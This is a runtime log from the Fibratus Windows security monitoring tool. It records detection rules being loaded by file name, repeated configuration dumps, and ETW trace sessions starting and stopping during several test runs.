+time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:20:27+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T21:20:27+01:00 level=info msg=bootstrapping with pid 17048. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:20:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html use-template=>true enabled=>false to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-registry=>true enable-fileio=>true flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-dns=>false enable-audit-api=>true enable-net=>true min-buffers=>16 stack-enrichment=>true max-buffers=>36 enable-vamap=>true enable-image=>true enable-thread=>true enable-handle=>false enable-threadpool=>false enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 formatter=>text log-stdout=>true level=>info max-backups=>15] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] elasticsearch=>[ gzip-compression=>false healthcheck=>true sniff=>false flush-period=>1s healthcheck-timeout=>5s timeout=>5s template-name=>fibratus enabled=>false bulk-workers=>1 trace-log=>false index-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200]] http=>[ timeout=>5s serializer=>json endpoints=>[] tls-insecure-skip-verify=>false enabled=>false method=>POST enable-gzip=>false] amqp=>[ exchange=>fibratus exchange-type=>topic durable=>false url=>amqp://localhost:5672 enabled=>false delivery-mode=>transient timeout=>5s vhost=>/ tls-insecure-skip-verify=>false passive=>false routing-key=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-mmaps=>false enabled=>false excluded-procs=>[] skip-registry=>false excluded-files=>[] skip-files=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:20:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:20:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:21:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:21:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:21:11+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:27:31+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T21:27:31+01:00 level=info msg=bootstrapping with pid 9196. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:27:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true to=>[] port=>25 content-type=>text/html enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-threadpool=>false enable-audit-api=>true enable-vamap=>true enable-fileio=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-registry=>true flush-interval=>1s buffer-size=>512 enable-handle=>false enable-dns=>false stack-enrichment=>true enable-thread=>true enable-image=>true min-buffers=>16 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-backups=>15 log-stdout=>true max-age=>0 max-size=>100 formatter=>text] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] amqp=>[ durable=>false enabled=>false exchange=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false vhost=>/ url=>amqp://localhost:5672 passive=>false routing-key=>fibratus timeout=>5s exchange-type=>topic] http=>[ enable-gzip=>false timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false serializer=>json method=>POST enabled=>false] elasticsearch=>[ sniff=>false enabled=>false index-name=>fibratus template-name=>fibratus timeout=>5s flush-period=>1s healthcheck-interval=>10s healthcheck=>true bulk-workers=>1 servers=>[http://127.0.0.1:9200] trace-log=>false healthcheck-timeout=>5s gzip-compression=>false]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false excluded-files=>[] skip-files=>false scan-timeout=>10s skip-mmaps=>false excluded-procs=>[] fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:27:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:27:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:27:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:27:56+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:27:57+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:41:30+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T21:41:30+01:00 level=info msg=bootstrapping with pid 12972. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:41:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 enabled=>false content-type=>text/html use-template=>true to=>[]] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-thread=>true flush-interval=>1s enable-handle=>false stack-enrichment=>true enable-vamap=>true max-buffers=>36 enable-net=>true buffer-size=>512 min-buffers=>16 enable-threadpool=>false enable-registry=>true enable-fileio=>true enable-dns=>false enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 level=>info formatter=>text max-age=>0 log-stdout=>true] + output ......................... [ http=>[ endpoints=>[] enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false method=>POST serializer=>json timeout=>5s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] elasticsearch=>[ index-name=>fibratus sniff=>false timeout=>5s servers=>[http://127.0.0.1:9200] trace-log=>false gzip-compression=>false bulk-workers=>1 template-name=>fibratus healthcheck-interval=>10s flush-period=>1s enabled=>false healthcheck=>true healthcheck-timeout=>5s] amqp=>[ tls-insecure-skip-verify=>false exchange=>fibratus delivery-mode=>transient vhost=>/ timeout=>5s durable=>false url=>amqp://localhost:5672 exchange-type=>topic passive=>false routing-key=>fibratus enabled=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-allocs=>false skip-files=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-mmaps=>false excluded-files=>[] scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:41:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:41:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:41:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:41:43+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:41:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:42:08+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T21:42:08+01:00 level=info msg=bootstrapping with pid 21312. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:42:08+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 to=>[] enabled=>false content-type=>text/html use-template=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-audit-api=>true enable-image=>true enable-mem=>false stack-enrichment=>true max-buffers=>36 enable-threadpool=>false enable-thread=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true buffer-size=>512 flush-interval=>1s enable-dns=>false enable-vamap=>true enable-net=>true enable-fileio=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-age=>0 level=>info max-backups=>15 max-size=>100 log-stdout=>true] + output ......................... [ elasticsearch=>[ sniff=>false servers=>[http://127.0.0.1:9200] timeout=>5s bulk-workers=>1 enabled=>false healthcheck-interval=>10s template-name=>fibratus index-name=>fibratus flush-period=>1s trace-log=>false healthcheck=>true healthcheck-timeout=>5s gzip-compression=>false] eventlog=>[ level=>info enabled=>false] http=>[ enabled=>false enable-gzip=>false endpoints=>[] timeout=>5s serializer=>json tls-insecure-skip-verify=>false method=>POST] amqp=>[ vhost=>/ exchange=>fibratus durable=>false routing-key=>fibratus exchange-type=>topic tls-insecure-skip-verify=>false enabled=>false passive=>false delivery-mode=>transient url=>amqp://localhost:5672 timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-mmaps=>false fastscan=>true scan-timeout=>10s skip-allocs=>false skip-registry=>false excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:42:14+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T21:42:14+01:00 level=info msg=bootstrapping with pid 12876. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:42:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ to=>[] content-type=>text/html use-template=>true port=>25 enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-image=>true max-buffers=>36 enable-fileio=>true enable-handle=>false enable-registry=>true enable-threadpool=>false enable-thread=>true enable-audit-api=>true flush-interval=>1s min-buffers=>16 enable-dns=>false enable-mem=>false buffer-size=>512 stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true level=>info formatter=>text max-backups=>15 max-size=>100 max-age=>0] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ servers=>[http://127.0.0.1:9200] bulk-workers=>1 sniff=>false enabled=>false healthcheck-interval=>10s index-name=>fibratus healthcheck=>true template-name=>fibratus flush-period=>1s gzip-compression=>false healthcheck-timeout=>5s trace-log=>false timeout=>5s] http=>[ timeout=>5s enable-gzip=>false method=>POST enabled=>false endpoints=>[] tls-insecure-skip-verify=>false serializer=>json] amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient durable=>false routing-key=>fibratus passive=>false enabled=>false tls-insecure-skip-verify=>false timeout=>5s exchange=>fibratus exchange-type=>topic vhost=>/]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-registry=>false enabled=>false excluded-files=>[] skip-allocs=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:42:14+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:42:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:42:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:42:28+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:42:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:42:42+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T21:42:42+01:00 level=info msg=bootstrapping with pid 13044. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:42:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false to=>[] port=>25 content-type=>text/html use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-thread=>true enable-registry=>true enable-audit-api=>true enable-dns=>false stack-enrichment=>true enable-vamap=>true enable-net=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-image=>true min-buffers=>16 enable-mem=>false enable-handle=>false max-buffers=>36 enable-fileio=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 max-size=>100 level=>info max-backups=>15 log-stdout=>true] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false timeout=>5s exchange=>fibratus passive=>false vhost=>/ enabled=>false url=>amqp://localhost:5672 durable=>false delivery-mode=>transient exchange-type=>topic routing-key=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ trace-log=>false healthcheck-timeout=>5s flush-period=>1s index-name=>fibratus bulk-workers=>1 enabled=>false sniff=>false template-name=>fibratus healthcheck=>true gzip-compression=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] timeout=>5s] eventlog=>[ enabled=>false level=>info] http=>[ timeout=>5s tls-insecure-skip-verify=>false method=>POST enabled=>false enable-gzip=>false endpoints=>[] serializer=>json]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false fastscan=>true enabled=>false skip-mmaps=>false excluded-procs=>[] skip-registry=>false excluded-files=>[] skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:42:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:42:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:51:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:51:27+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:51:27+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:51:41+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T21:51:41+01:00 level=info msg=bootstrapping with pid 21204. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:51:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false port=>25 content-type=>text/html to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ stack-enrichment=>true enable-dns=>false enable-image=>true min-buffers=>16 enable-fileio=>true enable-mem=>false buffer-size=>512 flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false enable-vamap=>true max-buffers=>36 enable-registry=>true enable-thread=>true enable-net=>true enable-handle=>false enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text log-stdout=>true level=>info max-size=>100 max-backups=>15] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] amqp=>[ routing-key=>fibratus url=>amqp://localhost:5672 durable=>false exchange=>fibratus enabled=>false exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s vhost=>/ passive=>false delivery-mode=>transient] http=>[ endpoints=>[] tls-insecure-skip-verify=>false serializer=>json method=>POST enable-gzip=>false enabled=>false timeout=>5s] elasticsearch=>[ flush-period=>1s gzip-compression=>false index-name=>fibratus healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true timeout=>5s trace-log=>false healthcheck-interval=>10s template-name=>fibratus enabled=>false sniff=>false bulk-workers=>1] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-files=>false skip-mmaps=>false skip-allocs=>false scan-timeout=>10s fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] excluded-files=>[] enabled=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:51:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:51:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:52:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:52:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:52:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:53:14+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T21:53:14+01:00 level=info msg=bootstrapping with pid 16976. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:53:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 enabled=>false content-type=>text/html use-template=>true to=>[]] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-thread=>true enable-net=>true stack-enrichment=>true enable-mem=>false buffer-size=>512 enable-audit-api=>true min-buffers=>16 enable-image=>true max-buffers=>36 enable-vamap=>true enable-threadpool=>false enable-dns=>false flush-interval=>1s enable-fileio=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true max-backups=>15 max-age=>0 level=>info max-size=>100] + output ......................... [ http=>[ 